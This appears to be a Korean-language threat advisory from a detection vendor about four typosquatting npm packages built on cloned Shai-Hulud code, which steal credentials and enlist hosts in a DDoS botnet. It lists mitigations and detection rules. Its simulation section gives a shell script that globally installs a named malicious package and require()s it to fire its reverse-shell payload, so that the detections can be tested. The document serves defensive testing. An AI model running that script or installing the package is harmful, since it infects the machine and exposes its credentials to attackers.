샤이훌루드 클론: TeamPCP 모방자들이 여기에 있습니다
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
연구자들은 정보 탈취 기능과 분산 서비스 거부 기능을 결합한 네 개의 악의적인 npm 패키지를 발견했습니다. 이 패키지는 오타 유발을 통해 인기 있는 라이브러리를 사칭하며, 공격자가 제어하는 명령 및 제어 서버를 사용하도록 수정된 오픈 소스 Shai-Hulud 코드를 포함하고 있습니다. 이러한 패키지를 설치하면 자격 증명 도난, 클라우드 비밀 정보 유출, 감염된 호스트가 DDoS 봇넷에 등록되는 결과를 초래할 수 있습니다. 이러한 발견은 npm 생태계 내의 공급망 위험이 증가하고 있음을 강조합니다.
조사
분석가는 chalk-tempalte 패키지를 유출된 Shai-Hulud 소스 코드와 비교한 결과, 공격자 정의 명령 및 제어 엔드포인트로 구성된 거의 정확하고 불명확화되지 않은 복사본임을 발견했습니다. 나머지 패키지는 도난 데이터를 별도의 악성 도메인으로 또는 IP 주소로 포트 2222를 통해 전송했습니다. 한 변형은 DDoS 활동에 사용되는 Go 기반의 로컬 봇 서비스를 배포하기도 했습니다. 네 개의 패키지는 동일한 npm 계정에서 게시되었으며, 이를 서로 연결시킵니다.
완화
조직은 프로젝트에서 즉시 악성 패키지를 제거하고 개발 환경과 빌드 시스템에서 관련 구성 아티팩트를 삭제해야 합니다. 노출되었을 수 있는 모든 자격 증명은 회전해야 하며, 식별된 악성 도메인과 IP 주소에 대한 네트워크 접근은 차단해야 합니다. 또한 팀은 동일한 정당 라이브러리를 모방하는 오타 유발 패키지를 모니터링해야 합니다.
응답
수비수는 식별된 명령 및 제어 도메인과 IP 주소로의 아웃바운드 연결을 탐지하고, 네 개의 악성 패키지 이름 설치 시 경고를 생성하기 위한 탐지를 마련하며, 악성 소프트웨어에 연결된 공개 키가 포함된 시스템을 스캔해야 합니다. 패키지 중 하나를 설치한 시스템은 지속적인 서비스, 예약된 작업 또는 추가 페이로드가 배포되었는지를 결정하기 위한 법의학 검토를 받아야 합니다.
공격 흐름
탐지
의심스러운 실행 파일 다운로드 (프록시 통해)
보기
비정상 디렉토리에 생성된 Vscode 자동 작업 구성 파일 가능성 [MACOS] (파일 이벤트를 통해)
보기
표준 도구를 통한 원격 파일 업로드 / 다운로드 (명령줄을 통해)
보기
비정상 디렉토리에 생성된 Vscode 자동 작업 구성 파일 가능성 [LINUX] (파일 이벤트를 통해)
보기
리눅스 호스트에서 숨겨진 파일이 생성됨 (파일 이벤트를 통해)
보기
지속성 지점 가능성 [ASEPs – Software/NTUSER Hive] (레지스트리 이벤트를 통해)
보기
지속성을 위한 Schtasks 또는 AT 사용 가능성 (명령줄을 통해)
보기
지속성 지점 가능성 [ASEPs – Software/NTUSER Hive] (명령줄을 통해)
보기
자동 시작 위치에서 의심스러운 바이너리 / 스크립트 (파일 이벤트를 통해)
보기
IP 조회 도메인 통신 시도 가능성 (DNS를 통해)
보기
비정상 최상위 도메인(TLD) DNS 요청으로 인한 의심스러운 지휘 및 통제 (DNS를 통해)
보기
직접 실행을 위한 크론탭 사용 가능성 (명령줄을 통해)
보기
IOC (SourceIP) 감지: 새로운 행위자가 Shai-Hulud 클론 배포: TeamPCP 모방자가 여기 있습니다
보기
IOC (DestinationIP) 감지: 새로운 행위자가 Shai-Hulud 클론 배포: TeamPCP 모방자가 여기 있습니다
보기
Shai-Hulud C2 서버로의 아웃바운드 네트워크 연결 감지 [방화벽]
보기
악성 NPM 패키지 실행 감지 [Windows 프로세스 생성]
보기
악성 npm 패키지 실행 감지 [Linux 프로세스 생성]
보기
시뮬레이션 실행
전제 조건: 텔레메트리 및 기준선 사전 비행 점검을 통과해야 합니다.
이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적의 기술(TTP)의 정확한 실행을 자세히 설명합니다. 명령과 내러티브는 식별된 TTP를 직접 반영해야하며, 탐지 로직이 예상하는 정확한 텔레메트리를 생성하려고 합니다.
-
공격 내러티브 및 명령:
- 초기 탐색 (선택 사항): 공격자는 피해자의 Node.js 환경을 열거하여
npm이(가) 있는지 확인합니다. - 악성 패키지 획득: 공격자는 정당한 유틸리티를 모방한 악성 npm 패키지를 다운로드합니다 (예:
@deadcode09284814/axios-util). - 설치 및 실행: 한 줄의 명령을 사용하여 공격자는 패키지를 전역적으로 설치하고 즉시 역 셸을 여는 자바스크립트 페이로드를 실행합니다.
- 지속성 (범위 초과): 공격자는 악성 패키지를
package.json에 추가하여 향후 재사용할 수 있습니다.
- 초기 탐색 (선택 사항): 공격자는 피해자의 Node.js 환경을 열거하여
-
회귀 테스트 스크립트: 스크립트는 정확히 2-3 단계를 재현하여 Sigma 규칙이 일치하는 명령줄 문자열을 생성합니다.
# malicious_npm_execution.sh # ------------------------------------------------- # 1️⃣ Node.js 런타임이 있는지 확인합니다 if ! command -v node >/dev/null 2>&1; then echo "[*] Node.js와 npm을 설치합니다" sudo apt‑update && sudo apt‑install -y nodejs npm fi # 2️⃣ 악성 npm 패키지를 설치합니다 (시뮬레이션) # (실제 테스트에서 실제 악성 패키지로 대체합니다) MALICIOUS_PKG="@deadcode09284814/axios-util" echo "[*] 악성 패키지를 설치합니다: $MALICIOUS_PKG" npm install -g "$MALICIOUS_PKG" # 3️⃣ 패키지와 함께 제공되는 페이로드를 실행합니다 # 여기서 우리는 단순히 패키지를 요구합니다; 패키지의 postinstall # 스크립트가 공격자의 코드를 실행합니다. echo "[*] 악성 페이로드를 트리거합니다" node -e "require('$MALICIOUS_PKG');" # 4️⃣ 선택 사항: 관찰을 위해 셸을 유지 sleep 30 echo "[*] 테스트 완료" # ------------------------------------------------- -
정리 명령: 악성 패키지 및 생성된 파일을 제거합니다.
# cleanup_malicious_npm.sh # ------------------------------------------------- echo "[*] 악성 npm 패키지를 제거합니다" npm uninstall -g "@deadcode09284814/axios-util" || true # 홈 디렉터리의 잔여 node_modules 제거 rm -rf "$HOME/.npm/_cacache" echo "[*] 정리 완료" # -------------------------------------------------